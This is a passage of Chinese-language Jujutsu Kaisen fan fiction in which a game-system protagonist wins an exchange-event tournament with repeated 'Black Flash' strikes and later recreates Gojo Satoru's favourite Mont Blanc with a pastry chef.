这是他的术式,公开能使咒力输出的效率与威力上升——但此刻,他连公开的机会也没有。 羽取一真的起手攻击毫不迟疑,什么试探、什么术式公开,他压根不想给对面任何发动攻击的时间。 见这几道丝线骤然挡在了他与寸头npc之间,羽取一真的反应更快,取消[黑闪]返还咒力消耗,随即再度锁定眼前这个攻击目标,使用[黑闪]! 在系统的辅助战斗下,他脚步一错便绕开这几道细线,裹缠在短棍的漆黑花火消失一瞬,再度亮起—— 而这次,已经来到擂台边缘、退无可退的京都校学生只能举起手,握拳的同时将那几道细线聚拢,迅速绕在小臂上试图挡住这一击! ——咯啦。 分外清脆的骨折声响起,即使痛呼可以强行忍耐下去,冷汗却难以遏制的淌出。 京都校学生想着自己都挨了这么一记痛击,战斗力瞬间折损大半,对方怎么也要说两句抱歉啊之类的话了吧! 他抱着随便打打的心态上台,羽取一真可并非如此——他可是要向漂亮小悟证明自己的! 确定这个npc还能站着,眼睛也睁得挺有精神,羽取一真放心了。 于是——京都校学生的视野内,那根明明看起来没什么杀伤力的短棍,下一刻就又举了起来。 仍然闪烁起那道熟悉到恐怖的漆黑光芒。 京都校学生:“…………” 他好想当场破口大骂。 大家都是咒术师,为什么你能每次攻击都能触发[黑闪]啊! 还有没有点道理可讲!! [黑闪]打出来的2.5次方威力,可不是普通攻击那种用咒力强化身体就能挡得住的啊! 他的手可接不下这一棍了,京都校学生条件反射的往地上一趴,近乎是连滚带爬的从擂台边缘离开,动作狼狈得要命。 但此刻,谁也顾不上那么多了。 第一击是[黑闪],观众还能安慰自己是羽取一真的战斗状态极佳。 第二击是[黑闪],观众还能催眠自己,或许羽取一真的状态确实超棒的,记录里也不是没有人打出过[黑闪]二连击。 但第三击和第四击,所有人都看懵了。 怎么还能取消[黑闪]又续上的,当这是打火机吗!? 而再往下看,发现羽取一真挥出的每一击真的都是[黑闪]时,全场陷入了鸦雀无声的死寂。 能够随心所欲打出[黑闪]的家伙,到底是多么恐怖的存在? 夜蛾正道的表情卡壳了下,默默转头望向二、三年级——同样瞠目结舌、呆在原地的学生们。 怎么看也不像是他们能教出来的…… 难不成是悟? 不可能啊,悟他自己都试过,能不能打出[黑闪]同样只能依靠运气。 京都校学生已经扛不住了,又挨了带着[黑闪]的一棍后,立刻举起左手连声投降。 他的右手已经骨折了,肋骨估计也断了至少三根,浑身上下都痛得要命。 留下连擦伤都没有的羽取一真冷淡站在原地,等着下一位受害者上场。 这个擂台战还怪适合他的,对面哪怕能用出再稀奇古怪的术式,本人也不得不待在擂台上。 只要本人还在擂台上,他只需要躲开术式,追着术师本人揍就完事了。 这些npc里又没人会他连白毛毛都摸不到的[无下限]术式。 经过一学期的体术磨炼,外加系统辅助闪躲与攻击,羽取一真就像一台横冲直撞的恐怖泥头车,几棍[黑闪]下去就抽得对面哭爹喊娘的投降。 当第二位受害者也断着好几根骨头,被奄奄一息的抬下去后。 京都校那边都傻眼了,原本排序在第三位的继谷指着自己,眼露茫然。 他真的要上吗,去面对一个能把暴击当平A的术师? 那家伙甚至连术式都还没有使出来! 而高专校这边,表情也都是恍恍惚惚,写满了不敢相信。 “难、难怪他说用不上术式……” “好想请教他是怎么做到的,连续多少次[黑闪]了,九次?十次?” “如果这是四级咒术师,我们算什么?” “算……负责应援的啦啦队吧。” 他们突然觉得自己好轻松,只需要坐在场边,就能看到刚才还说大话的京都校参赛选手,一个一个被抬下去。 不管上来的人是谁,和御三家有没有干系,羽取一真全部一视同仁。 先打断能施展术式的胳膊,接着能打晕则打晕,打不晕……没有打不晕的,谁的肉丨身能抗住[黑闪]不骨折啊! 他们又没人会那种高难度的反转术式! 再说了,连续[黑闪]的威力是就算咒灵来也照样几发就能送它上路好吗! 六轮过去,羽取一真依旧站在原地,只有衣服破了两道口子。 可能有点小伤,但体力值还有百分之八十以上,那就等于无伤。 而他的对手们,都被就地紧急送往了医疗室。 集体骨折,数量从三根至八根不等,全凭个人体质。 羽取一真的赫赫战绩,连同他那动辄亲切帮你正骨的凶名,瞬间传遍两所学校。 外加暗地里偷偷派人记录全程,甚至连这场比赛也是蓄意安排、想要借故打探他底细的御三家高层。 “………” 这是四级咒术师能干出来的事吗!? 第105章 等裁判宣布东京校获胜, 羽取一真从擂台下来。 那些目瞪口呆的学姐学长们,整齐划一的往后退了一步——这个不能怪他们,只是一种条件反射下的本能。 术式造成的伤害, 总归没有那把短棍的棍棍断骨更令人感到幻痛。 羽取一真也不在意这些npc队友的反应。 总所周知在动作类游戏里, 玩家的队友基本等于没有。 有些甚至还会在关键时候卡视角,妨碍玩家输出。 但当羽取一真转过身,面对站在面前的漂亮小悟时…… 他眨巴了两下黑瞳。 “怎么样?” 这个语气,一听就是在向人讨夸夸。 然而,羽取一真得到的是两只手啪叽一下拍在面颊两侧——接着,手掌同时往中间推, 把他的脸挤成一个鼓起来的包子。 声音听起来很清脆,但没有用多少力气, 更别提痛觉几乎没有的羽取一真。 周围传来了小声的倒吸气, 似乎担心五条悟也会被挨上一记正骨棍。 但羽取一真完全没有反抗, 而五条悟也只是轻哼出声。 “真是让人白白担心了啊——你这小子, 打起架来很生猛嘛。竟然可以打出[黑闪]连击?嗯?” 五条悟板着脸的反应没能保持住多久,唇角便悄然弯起, 彻底破功,最后露出一个窃笑似的恶劣小表情来。 那两只故意揉搓羽取一真的手也放开了,转而勾住他脖颈,用很小声——但周围都能听得清楚——的音量“偷偷”对羽取一真说道。 “那几个被你揍翻的京都校前辈啊, 我拍了好多照片呢, 哎嘿嘿……等他们能晋升一级咒术师的时候,我就把这些照片发给他们看。” 帮助他们回忆一下过往的光辉历史啦, 哈哈哈哈,不用太感谢他喔! 东京校的几个参赛学生:“…………” 这个人真是看热闹不嫌事大…… “老师,没什么事我们就走了哦。” 初见羽取一真能连续触发[黑闪]的惊讶早已烟消云散, 五条悟和夜蛾正道打完招呼,便准备带着羽取一真回去了。 “庆功宴…” 夜蛾正道刚要提醒还有比赛后的庆祝聚会这个环节,就被羽取一真摇头堵回去了。 “悟不去我就不去。” 他对参加这种活动毫无兴趣,又没有奖励。 五条悟闻言笑意更是灿烂,冲夜蛾老师耸了下肩膀,带着一副[哎呀我也拿他没辙呢]的得意表情,和新晋的正骨大魔王勾肩搭背的离开了。 奖励当然是要奖励的,那也是他给羽取一真努力拿下全胜的奖励啦,去京都最贵的餐厅大吃一顿,gogogo! 从背影望过去,是揍人很嚣张、但姿态冷漠的羽取一真,和其实并没有出手、但姿态可比羽取一真嚣张多了的五条悟。 乍一看,简直像是五条悟在替羽取一真嚣张。 东京校的数人盯着他们离开——其中一个人默默抬手,拱了下庵歌姬。 “你竟然还敢去纠正五条的敬语,”他说,“真的好了不起呢。” 这两个一年级后辈,一个比一个更不敢招惹啊。 庵歌姬:“…………” 前辈就是前辈,她强调五条那家伙要记得对她讲敬语这点又没什么错…! “啊,等会庆祝的话,要去唱K吗?” “要啊!” “到时候偷偷喝点酒……” “哈哈不行不行,歌姬的酒品超烂。” “喂!我才没有…!” ………… 比起在高兴庆祝自己赢了交流会的东京校学生们,御三家那边的心态可就截然相反了。 原本,他们设想的很美好。 通过一点小手段,刻意安排一场让羽取一真不得不上场的车轮战比赛,既能最大程度的试探出这小子的战斗水平,还能挖掘其弱点,以后也好对付。 太高的负好感度所带来不仅是对羽取一真的畏惧,还有这些高层们天然对他的排斥与厌恶。 即使是高层,也并非所有人都清楚[那位]的存在。 就算清楚[那位]在极深幕后的人里,也同样并非所有人都知道羽取一真是[那位]安插进东京咒术高专的人。 因此,有想要除掉羽取一真的高层暗自运作一番,想要趁机在这场个人战中摸清楚羽取一真的水平,或者给他一点教训,都是顺理成章会发生的事情。 不过,羽取一真用结果让他们通通都哑了火。 谁家四级咒术师战斗能连续触发[黑闪]、起步就先打断前辈至少三根骨头啊? 那些人可都是他的前辈,以后少说还要打交道不知道多少次的,都没见他下手迟疑哪怕一点! 而且,高层们的内心都莫名产生某种笃定感——哪怕是他们站在羽取一真面前,少说也会挨上两棍。 这小子,就是个压根不懂尊敬长辈的凶神! 但他们也无法明目张胆的动手脚,更不能用[看不顺眼]这种理由去审判没有违反比赛规则的羽取一真。 最后,只有一封讯息传到夜蛾正道那里。 【尽快提升羽取一真的术师评级。】 看完内容的夜蛾正道:“………” 是他的错觉吗?这话读起来,怎么有点咬牙切齿的味道。 ——以上这些,都跟羽取一真接下来的愉快假期生活没什么关系。 姐妹校的交流会结束,同样意味着暑假即将迎来尾声。 在整个假期,他们有被零零散散的安排几个周边任务,但都是祓除二级以下的咒灵,五条悟去钓鱼的路上就能顺手解决。 当然,在发现羽取一真靠[黑闪]就能把敌人打得嗷嗷叫后,五条悟乐于将这些咒灵让给羽取一真练级。 他甚至恨不得立刻开学,然后使劲向硝子还有杰也炫耀一番了! 而羽取一真,隐约有猜到他在个人战的上场是来自某些人的刻意安排——纯属上周目被老头npc坑太多次的经验。 只是他如今的身份和他们没有明面上的交集,也就只能暂时压在心里。 等以后有机会,少说也给他们来上几棍正骨大法。 倒是五条悟后来又专门问过他是不是真的能控制自己每一击都是[黑闪],羽取一真做出了肯定的回答。 五条悟顿时露出很可爱的吃惊表情,然后眨着亮晶晶的苍瞳问羽取一真诀窍。 完全没有办法坦白这是游戏机制的羽取一真:“……” 羽取一真努力比划:“就是这样……然后那样……然后嗖的一下……就打出来了。” 五条悟听得苍瞳逐渐虚起,填满了大写的无语。 “……你表述诀窍的能力,真是跟硝子如出一辙的烂呢。” 硝子讲起反转术式的使用技巧来,也是让人听得一头雾水的。 羽取一真:“……” “不过啊,这样倒是让我放心多了。” 五条悟笑起来,拖起又长又软的腔调揶揄他。 “哎呀——知道你不是会被人欺负的性格就好。每天都这么呆呆的,差点以为会在哪天被人用肉骨头就随便拐走呢。” 羽取一真轻咳出声,“怎么说也不会被别人随便拐走……” “真的?” 五条悟眨了眨苍瞳,不太相信。 “真的,” 羽取一真想了想,难得开玩笑的回答道。 “我已经吃过最贵的肉骨头了。” 不仅是上周目,还有京都最贵的那家餐厅……真的好贵,是现实世界的他绝对吃不起的价钱。 但这句话由羽取一真那一贯平淡沉稳的声线讲出口时,很难让人感觉到它其实更偏向于开玩笑。 遑论羽取一真的面上总是没什么表情,又极少会说这类打趣的话。 五条悟怔住。 五条悟反应过来。 饱览论坛的五条悟瞬间想歪。 “!!!!” ………… 不过,硬要说这场比赛的影响,倒是也有一点。 例如好久没有跟他联系的酒见绫子,在羽取一真的假期末尾又打电话过来了。 确切地说,是第二次。 第一次打过来的时候,羽取一真还在五条宅邸,一看来电就挂断了,给她回了条勿扰消息过去。 第二次则是假期最后一天,他跟五条悟从五条家返回高专宿舍。 这次,独自坐在宿舍里的羽取一真没有理由拒绝她的通话,便接了起来。 “你这个暑假为什么不回【星之子之家】?” 酒见绫子来者不善,开口就是质问。 “防止身份暴露。” 羽取一真眼也不抬,一句话就把她堵了回去。 “至少打个电话过来提前说明……” “我一直待在五条家,和咒术界的[最强]五条悟拉进关系,为了明年的任务做准备。”羽取一真说,“你也不希望我搞砸了教祖大人的任务,对吧?” 酒见绫子:“………” 酒见绫子说不过他,深呼吸几口气,才又出声。 “你下次想做什么,好歹先和我们通个气。你知道当教祖大人差遣式神过来问话时,我有多惶恐吗?” “真的?”羽取一真实话实问,“你不是一直很崇拜教祖大人吗,怎么真说上话了又觉得惶恐?莫非你其实……” “……你还想不想我给你生活费了?” 酒见绫子给他三言两语堵得不行,又不能挂电话,气到使用杀手锏。 被拿捏住的羽取一真:“……你说。” “拉拢[六眼]确实是个好办法,没想到你能成功走出第一步,获得他的信任。” 酒见绫子缓慢放平心态,终于可以和气的继续向羽取一真传达教祖大人的意思。 “有什么需要帮忙的地方,在不过分的范围内,可以提出来。” “太好了。” 羽取一真立刻打开【好感度】界面,唰拉好几下才滚动到最底排,开始从最低好感度往上报名字,一口气数出十来个。 管他们背地里有没有真的使出过阴谋,好感度最低就是对他最不爽的,那就表示之前设计他的嫌疑也最大。 玩家这里,遵循疑罪从有原则。 “我怀疑他们针对我,教祖大人有没有办法解决一下?” 酒见绫子:“……” 你小子,怎么做到一口气得罪这么多人的?? 第106章 “为什么觉得他们在针对你?” 酒见绫子让羽取一真回头将这些名单发给她, 顺嘴再提出一句质疑。 不怪她好奇,关键是羽取一真只在咒术界待了半年左右,怎么做到让这么多人都针对他的? 而且听刚才他报出来的名单, 都是些含“勇”、“胜”、“实”、“隆”之类的字, 感觉都是昭和时期才会有的起名风格,不像是年轻人会取的名字啊。 要说得罪,他去读的是高专学校,遇到的人不应该都是些差不多年龄的人吗? 酒见绫子或许是盘星教的高层之一,但她并不了解咒术界,更不清楚这份名单的含龄量, 确实有她猜测的那么高。 因此,她只能听羽取一真张口就来。 “我也不清楚, ”羽取一真无辜道, “可能是对非家系术师的恶意吧, 见我和五条下任家主走得近, 就想除掉。” 这个理由听起来有点离奇,但细究又说得过去, 深谙阶层壁垒之高的酒见绫子便没有再多问什么。 “我会转达给教祖大人的,”她开口,“不必担心,教祖大人无所不能。” 说完她就要挂断电话, 被羽取一真喊住:“我有点好奇。” 酒见绫子眯起眼:“好奇什么?你在质疑教祖大人的能力?” “好奇你这次见到教祖大人了吗, ”羽取一真试探,“那位到底是男是女……” 嘟—— 小气, 怎么问一句也要挂电话。 看来是不能指望从酒见绫子这里打探到教祖大人的真实身份了,对方实在谨慎得要命。 羽取一真收起手机,开始打扫近两个月没住过的宿舍, 将床单被罩什么的都拆出来洗。 这个游戏在细节上太过真实,连[家居会随时间流逝而积累灰尘]这点,都一丝不苟的模拟了出来。 如果不是那个能凭意愿随时唤出的系统界面,羽取一真甚至会在过去许多个时刻,恍惚认为自己正生活在真实的世界里。 但现在,还是得找出那个[幕后黑手]解决掉,他才比较安心。 羽取一真还记得他在和那个【夏油杰(已故)(?)】战斗的时候,后者在险些被他的血弹攻击到之前,竟然使用出了虎杖香织的术式,强行令血弹改变轨迹,顺着重力砸落地面。 而他在经过上学期的理论学习后,已经知道了一个理论——除开特殊情况,几乎所有术师,都仅拥有一个生得术式。 纵使攻击手段会有许多种,但都是从这一个生得术式里延伸出来的。 那个[夏油杰],是怎么做到即拥有[咒灵操术],又拥有虎杖香织的反重力术式? 会和他头上的那道伤疤有关吗?用一些类似于植物嫁接的手段…… 羽取一真不太确定的推测道。 其实他更想找到这个时期的虎杖香织——但算一算时间,悠仁大概是两年前出生的,当前时间点的虎杖香织很可能已经失踪了。 其实就算想找,羽取一真也不知道悠仁的爷爷现在住在哪里。 他只在仙台医院,见过悠仁的爷爷最后一面…… 而谈话内容里,悠仁爷爷又明确说过他将刚出生不久的悠仁带离了仙台,七岁前都在小地方长大。 这个[小地方]又是指哪里,羽取一真毫无头绪,只能叹口气。 他得想个更有效的办法,把这个教祖大人引诱出来。 “一真、一真一真!” 五条悟准时来敲门,喊羽取一真一起去洗被单。 洗衣房里有放置一整排的公用洗衣机和烘干机,足够供给整个学校的学生使用。 羽取一真抱着一大堆床单被罩之类的待洗衣物,跟五条悟来到洗衣房时,正好看见家入硝子和夏油杰也在。 “假期愉快啊——” 含着棒棒糖的硝子先抬手冲这两位打了个招呼,偏浅淡的笑意里透着一点相当明显的调侃。 “听说某人在交流会上大出风头呢,呼呼,真是了不起。” 夏油杰好奇出声:“谁出风头?” “咦,硝子怎么就知道了?” 五条悟顿时扬起眉毛,格外忿忿自己还没有开始炫耀的情况下,同期就已经提前得到了消息。 “我也有自己的办法嘛。” 家入硝子笑眯眯摆手,但招架不住五条悟用亮闪闪的“告诉我嘛”眼神,一个劲盯着她瞧。 “——是歌姬和我说的。” 家入硝子坦白,“她说京都校那边的学生不得不躺了好久,还拜托我能不能去帮忙治疗下他们来着。” 毕竟会反转术式的人确实不多——其中能输出反转术式治疗他人的咒术师,就更是稀缺中的稀缺。 停顿片刻,家入硝子看着已经憋不住笑的五条悟,又补充道。 “因为刚开始不知道一真的名字,直接用[那个会用短棍帮你正骨的恶魔]、简称[正骨恶魔]来代替了。” “………”羽取一真沉默片刻,“正骨恶魔……” 这个名字好难听啊,还不如烂饭恶魔。 正骨活阎王……也挺难听的所以算了吧。 五条悟彻底憋不住了,但又想强忍着,最终拧巴成了吭哧吭哧的闷笑。 能给这么呆的一真取个又正经又好笑的正骨恶魔作为外号,也太有意思了吧! 而听完前因后果的夏油杰,终于露出一种似震惊、似恍然的表情。 难怪当时见到那个诅咒师的尸体,感觉好像被什么钝器反复殴打过,不仅身上骨头都断了好几根,脸上更是鼻歪眼斜的……总之就是怪惨的。 他当时以为是羽取一真借助了什么外力,例如撬棍或者棒球棍之类的物理圣剑,再注入一点咒力。 现在一回想,原来那是用[黑闪]打出来的啊…! 夏油杰若有所思按了下额角,没有将这些想法说出口。 但有一点是可以肯定的——这位同期,远没有他想象中的那般弱小。 当时的并肩作战,并非面临死亡危机的错觉。 在将待洗衣物丢进洗衣机里之后,羽取一真给他们展示了下自己刚拿到手的凶残棍器。 就是这根看似平平无奇的乌棍,给那六个学生带去了短时间内都不可磨灭的巨大心理阴影。 “能切换双刃形态的[业双],确实很适合你。” 夏油杰抽出来短刃打量了片刻,又重新归拢入鞘,还给羽取一真。 应该说,他向来喜欢这种隐藏起来的小设计,能在对战时出其不意,甚至可以瞬间颠倒局面。 “既然这样,你得抽空开始练习双手短剑了。” “我会陪一真练习的啦!” 五条悟得意洋洋宣布——这可是他给一真找到的好咒具,当然得由他来教会一真啦。 “嗯。” 羽取一真唇角抿出点笑意,从夏油杰手中接过[业双]时,忽然眼前的想起这位未来反派,身上还挂着一个关乎他能否解锁术式的委托。 再打开【委托】界面,他略显诧异地对着【76%/80%】的夏油杰信任度抬了下眉梢。 怎么涨的,他们明明一个暑假都没有联络过? 不过,能做完这个委托也不错,[业双]可以搭配[十方摩诃]使用,羽取一真很期待到时候的威力。 那些部分继承了上周目负数好感度的老头npc们,羽取一真总觉得他们不会真的安分龟缩起来,完全不给他下绊子。 还有那个与一周目的[幕后黑手]有极大干系的教祖大人,要是能让他逮到是谁,也是必须得杀掉的。 种种新宿叠加,他必须抓紧时间提高自己的战斗力才行。 就差最后的4%了。 羽取一真盯着那个界面沉思片刻,忽然想到了一个对付教祖的办法。 搞不好,会很有效……! “——在发呆吗,一真?” 张开的五指在他眼前晃了晃,即穿过系统的浮窗,也拉回了羽取一真的注意力。 “怎么了?” “聊天也能走神啊你,” 五条悟压上他肩膀,墨镜后的苍瞳浮起些许无奈的情绪——就这也能被叫成正骨恶魔,真的假的。 “我们在讨论假期最后一天要去哪里度过啦。我刚才提议去钓鱼,被他们否决了。” “我才不要坐在河边发呆一下午啊。” 家入硝子眯起眼,脸上写满了[等鱼上钩的过程肯定会超无聊所以坚定拒绝]。 “去KTV唱歌?” 夏油杰选了个不会出错的提议,至少上次他们也是这么度过的,还挺开心。 “哪有下午就跑去唱歌的。” 再说了,钓鱼明明很有趣好不好! 五条悟撇了撇嘴,连脑袋都蹭在羽取一真肩膀上,压得纯白发丝翘起些许,宛若轻盈的糖丝般扫过后者的侧脸,痒痒的。 听到同期们一个个冒出来又被否决的点子,羽取一真想了想。 “我要先去另一个地方。” 他开口说道。 第107章 听说羽取一真要去某个地方, 五条悟开口就是一句“我也要去!”。 然后被羽取一真婉拒了。 除了夏油杰的信任度以外,他一直记得自己还有另一个委托——帮五条悟找到他最喜欢的蒙布朗。 而回到东京的羽取一真,自然是没有忘记将它立刻提上日程的。 但要是直接带漂亮小悟过去, 万一这个店在十年前还没开张怎么办?万一那个差点绝版的大师现在还没有开始做蒙布朗怎么办? 羽取一真决定自己先去探探路。 为此, 他狠心拒绝了五条悟以及另外同期最后定下来的保龄球邀请,独自坐车前往那个招牌名是[如你所愿]的甜点店。 五条悟眼巴巴看着羽取一真离开,立刻转头问夏油杰。 “我们跟踪他怎么样?” 他真的好好奇一真会去哪里嘛! 该不会,是想要偷偷去解决自己在入学高专前的“家庭问题”吧?不想给他们添麻烦所以选择不说? 夏油杰正在用手机搜索附近的保龄球馆,闻言险些被这句建议呛着。 “悟,怎么能随便跟踪好友?” 他朝这位异想天开的同期丢来超级不赞同的目光。 或许是夏油杰自己也会喜欢藏起一些底牌或秘密之类的东西, 不到关键时刻绝不暴露——包括他在就读高专时,就在吸收咒灵的规则上撒了点小谎。 他上报的是无法吸收有主从制约的咒灵, 无论原主有没有死亡。 这其实算是给自己的[咒灵操术]降低一点对他人的威胁性, 让其余咒术师放心的认为只要咒灵在主从制约上归属他们, 就绝不可能被夏油杰再进行吸收。 但真正的规则是, 只要被诅咒凭依的咒术师消失,夏油杰就可以无条件的吸收那个由诅咒形成的咒灵。 因此, 他非常能理解需要独自去处理个人事务的羽取一真。 但看着五条悟有点不服气的鼓起脸,夏油杰轻咳一声,又出声安慰道。 “嗯,要不你等一真回来, 你再问他。要是他想和你说, 肯定会告诉你的。” 要他说,搞不好是给五条悟准备什么惊喜呢。 看他们总是黏糊在一起的状态, 夏油杰很难说羽取一真到底有什么秘密会瞒着五条悟。 五条悟的不高兴表情在维持三秒钟后,便舒展开了。 “也是,” 他的嘴角弯起, 那副镜片圆圆的墨镜更是使他整个人都流露出一种笃定的自信来,既神气又骄傲。 “一真超喜欢我的,怎么可能会有事瞒着我啦。” 在夏油杰对这句话做出反应前,家入硝子先轻“噫”出声,露出一点没眼看的表情。 她现在有点搞懂夏油杰之前为什么问她那个问题了。 在同期先将控诉的目光投过来前,家入硝子先慢吞吞开口,转移五条悟的注意力。 “那我们也出发?输的那个人请客喔——不准用咒术作弊。” 保龄球的规则他们都懂,但这两位同期的术式都太好偷偷摸摸动点手脚了,必须禁掉。 “知道啦知道啦,不会用[苍]的啦。” “咳,我也不会驱使咒灵偷偷推球瓶的……” ……… 难得独自出门的羽取一真,循着记忆中的地址找到那家拥有[神之甜品]的西点店。 “東町3-8-8……啊,这边。” 原本浪漫的法式店铺毫无踪影,铂金与瓷白组成的空间变成了门口不停旋转的三色立柱。 羽取一真:“……” 这间名字叫[如你所愿]的店铺,在十年前,还是一家普通的理发店。 他转身正要走,就见到一个人推开门招呼他。 “小哥,我看你站在我的店门口好半天了,不打算进来剪个头发吗?” 羽取一真摇了摇头:“不用,我不是来剪头发的。” “我想也是啊,你的发型看起来还不错,不太需要打理的样子。” 那个大叔笑得相当亲切。 大概是因为店内没有客人,他闲着无聊,又和羽取一真多聊了两句。 “那你是在找什么?看小哥你很犹豫的来回走好几遍了啊。” “一家甜点店,”羽取一真迟疑片刻,“我想它可能目前还没有开在这里。” “嗯?最近这里要开店吗?” 理发师老板诧异摸了摸脑袋,“我最近可没听说这附近要开新店啊……” “这样。” 羽取一真点头,倒并不显得多么失望。 毕竟用准确的年份进行表述,此刻他过来的时间点是上周目来到这家店的十二年前,这个结果完全是可预期的。 或许这家店可能要过几年才能营业。 他可以先去拜访下那位川村大师的公寓,看看十二年前的他是不是住在那里。 “我大概是记错了地址,打扰了。” 羽取一真朝理发店老板略欠了下身,便准备离开。 “好喔,欢迎下次——啊不对,没有下次了啊,”理发店老板不好意思笑道,“我正打算下个月关店,然后回乡下养老呢。” “……!” 羽取一真的黑瞳蓦然微亮。 他这次再找到那家公寓时,没有再粗暴的几拳[黑闪]轰开。 而门铃上挂着[川村]的名牌,也意味着羽取一真没有找错地方。 叮咚—— “来了来了。” 等了片刻,对讲机里才出现声音,而后是门锁拧动,川村大师那张熟悉但年轻许多的脸出现在羽取一真的眼前。 “又是推销?”他口中还嘀嘀咕咕,“都说了我用不……” 结果看见的是一个表情冷淡的黑发少年,让川村有点愣住。 紧接着,他条件反射后仰,整个人都惊到抖了下,“你、你是……” “是”了半天,也没有“是”出一个所以然来。 反而是他自己的表情逐渐陷入茫然,不知道为什么会在面对这位看起来相当普通的黑发少年时,一瞬间产生出某种[不做点什么就会没命]的心悸感。 幸好这感觉来得快去得也快,等他再想去寻觅时又平缓了许多,不至于让他再做出如此剧烈的反应。 羽取一真很有礼貌:“你好,我是羽取。” 他能理解这位年轻版川村大师为什么突然如此紧张……这也同样是上周目的川村大师被他持枪威胁后,所带来的后遗症之一。 就像那帮老头npc一样。 可能是他和这位川村大师打交道的时间很少、又救了他一命的关系,好感度还没有跌到负一百,再经过新周目的一次打折后,勉强归零- 17,四舍五入怎么不算归零。 见到羽取一真如此彬彬有礼,不像是那种故意上门找茬的混混,川村大师紧绷的表情放轻松了点。 “请问你有什么事?” “想请你帮忙做一份[神之甜品]。”羽取一真说。 “哈?”川村大师皱起眉毛,“什么玩意,这么中二的名字?我没听过,也没做过。” 羽取一真:“………” 他本以为川村大师会露出了然的反应,或是质疑为什么会知道他能做之类的,结果竟然是这位大师也嫌弃[神之甜品]这个称呼太中二。 要是觉得中二,那就别起这个名字啊。 羽取一真无语片刻,打开他从网上搜索到的蒙布朗照片,给这位川村大师看。 “就是这个,你做的蒙布朗甜点。” “我是做过蒙布朗,”川村大师扫了眼照片,“但[神之甜品],哇,谁想出来的中二名字,我寒毛都快竖起来了。” 他早就过了中二小鬼头追求特立独行的青春期年纪好不好喂。 话说看眼前这个黑发少年,好像还真是正值青春期的年龄…… 被目光来来回回扫视的羽取一真:“……” ……就是你自己啊。 “总之,希望您能做一份这个蒙布朗。” 羽取一真在来之前就上网搜索了下这位川村大师,知道他刚在不久前的西点大赛中获得了守擂优胜。 他想了想,在不透露一周目的情况下,委婉的表达了悟对这份甜品的喜爱。 “我有一位喜欢吃甜点的,好友,特别喜欢您做的蒙布朗,甚至称它为[神之甜品]。” 这次,川村大师终于露出了然的表情。 “也不知道你是怎么找过来的……” 他嘀咕出声,转身进屋时松开门把手,示意羽取一真可以进来。 “但我只按照普通配方做过蒙布朗啊,”川村大师道,“那种蒙布朗的口感只要是西点师都能做,怎么也算不上是[神之甜品]吧?” 这次,羽取一真终于是按照访客流程,在玄关前脱鞋放整齐,而非直接提枪冲进卧室里干掉咒灵。 他大概明白了,在这个时间点,川村大师还没有发明出他那独树一帜的[神之甜品]。 “我朋友喜欢你的制作手法,以及娴熟的技巧。” 羽取一真开始努力回忆他当时被五条悟塞了一口在嘴里的[神之甜品],到底比起原版改动过哪里。 幸好他也有太多次制作蒙布朗,且不停改配方尝试的经验。 “不过,他更喜欢吃本地栗子磨成的泥,”羽取一真说,“蛋白霜的底座里加了杏仁粉……内馅的奶油加了栗子碎……然后……” 越往下听,川村大师的眉毛挑得越高。 “这改动的风格还真是合我心意,”他摸着下巴开口,“这听起来还挺有趣的,我会试着做一下。” 羽取一真松口气:“我会付钱的。” “哈,不用不用,只是一款试验作而已,没有收钱的必要。” 川村大师摆手,从冰箱、以及厨房的储柜里点着数往外拿材料。 他在谈吐间相当和善,但心底总会下意识的对黑发少年绷紧根莫名其妙的弦,有点紧张。 但要川村高声说话,把人骂出去……他又微妙的有点不太敢。 算了,先做蒙布朗吧,至少这款蒙布朗听起来挺有意思。 没有上周目的枪口抵头,川村大师这次的动作从容多了。 他喊在沙发上坐着的羽取一真过来尝尝。 “是不是这个口味?” 挖了一勺蒙布朗咽下去,羽取一真迟疑道。 “有点甜。” 能让不挑食的羽取一真说出[有点甜],那基本上是非常甜了。 “哦?原来还有标准。” 川村大师笑着调侃道,倒是不介意对方的评价,又开始做第二份。 本来也没指望一次成功,这次就再降低蛋白霜、以及奶油里砂糖的含量。 羽取一真则慢慢用勺子挖着吃那份太甜的蒙布朗,边问川村大师。 “你为什么没有开店?” “连我想开店这个念头都看透了?”川村诧异笑道,“是有这个打算,最近还在寻址。怎么了,你有推荐?” 羽取一真脱口而出:“東町3-8-8。” “还真有推荐啊,那我去看看好了。”川村大师点头记下这个地址,“你这小子还挺奇怪的,为了那位朋友,竟然努力找到我的公寓地址?” “嗯,”羽取一真说,“他想吃到心目中最完美的蒙布朗,为此尝试了很多款式。我想来想去,大概得你做出来的[神之甜品]才能满足他的心愿。” 川村大师为这描述感到惊讶,连手中打发奶油的动作都慢了半拍。 “这样啊。” 在川村大师的脑补里,这位黑发少年大概是为了友人心中那份其实并不存在的[神之甜品],便一路辗转找到他这里,就为了能拜托他做出一份完美蒙布朗来。 “既然这样,我可得好好努力给你做出来一份才行。” 川村大师笑起来,“等店铺开起来后,我就给这款蒙布朗起个名字。你觉得[神之甜品]怎么样?” 刚才还嫌这名字太中二的川村大师,主动要给它冠名成[神之甜品]。 羽取一真没有异议——在他心里,它总归会叫成这名字的。 川村大师和羽取一真又经过多次尝试,终于模拟出后者记忆里的口味后,川村大师也终于松了口气,找出一个打包用的纸盒,把它装好,送羽取一真出门。 “新店什么时候开?” 羽取一真问川村大师,以便下次再带着悟光顾时,不至于跑空。 “大概三、四个月后吧,总得有个前期的准备工作。” 川村大师笑着冲羽取一真挥了挥手,和他道别。 “不过呢,店名我倒是已经想好了。” ——[如你所愿]。 ……… 等羽取一真拎着蒙布朗,正常的、普通的走出公寓时,天边的夕阳都快落尽了。 幸好还能赶上回去的电车,再加上最后那段只能步行的绕山小路,等羽取一真看见高专学校的大门时,皎月已然升起来了。 两旁的石灯笼里烛火燃起,拉长的倒影在石板上轻轻摇曳。 有点晚了啊,要不先别去打扰悟,等明天再给他…… 羽取一真的步伐忽而顿住。 这道银纱似的月光不仅在为他引路,也给那随夜风而起的俏皮发丝晕了层清冷的凉意。 但再细看过去,那道身影却又因两侧烛火的那一方暖光,使冷暖的边缘在每一绺纯白发梢、每一道布料的褶皱间反复交叠,最终勾勒出极生动的轮廓来。 羽取一真再动身朝他走去时,表情已不自觉变得更柔软。 那是双手托腮,正坐在台阶上等他的五条悟,好似从不动摇、从未改变。 “你怎么这么晚才回来?” 等羽取一真再走近些,五条悟明显露出放松下来的表情,但还是故意皱起眉毛、板着脸对他开口说道。 “真是的,我好几次都想直接给你打电话了!” 要不是担心会打扰到他处理“家庭问题”……五条悟的目光往下一瞥,发现羽取一真提在手上的纸盒。 他有点想问这是什么,但还是先忍住了,等一真回答完他最关心的这个问题再说。 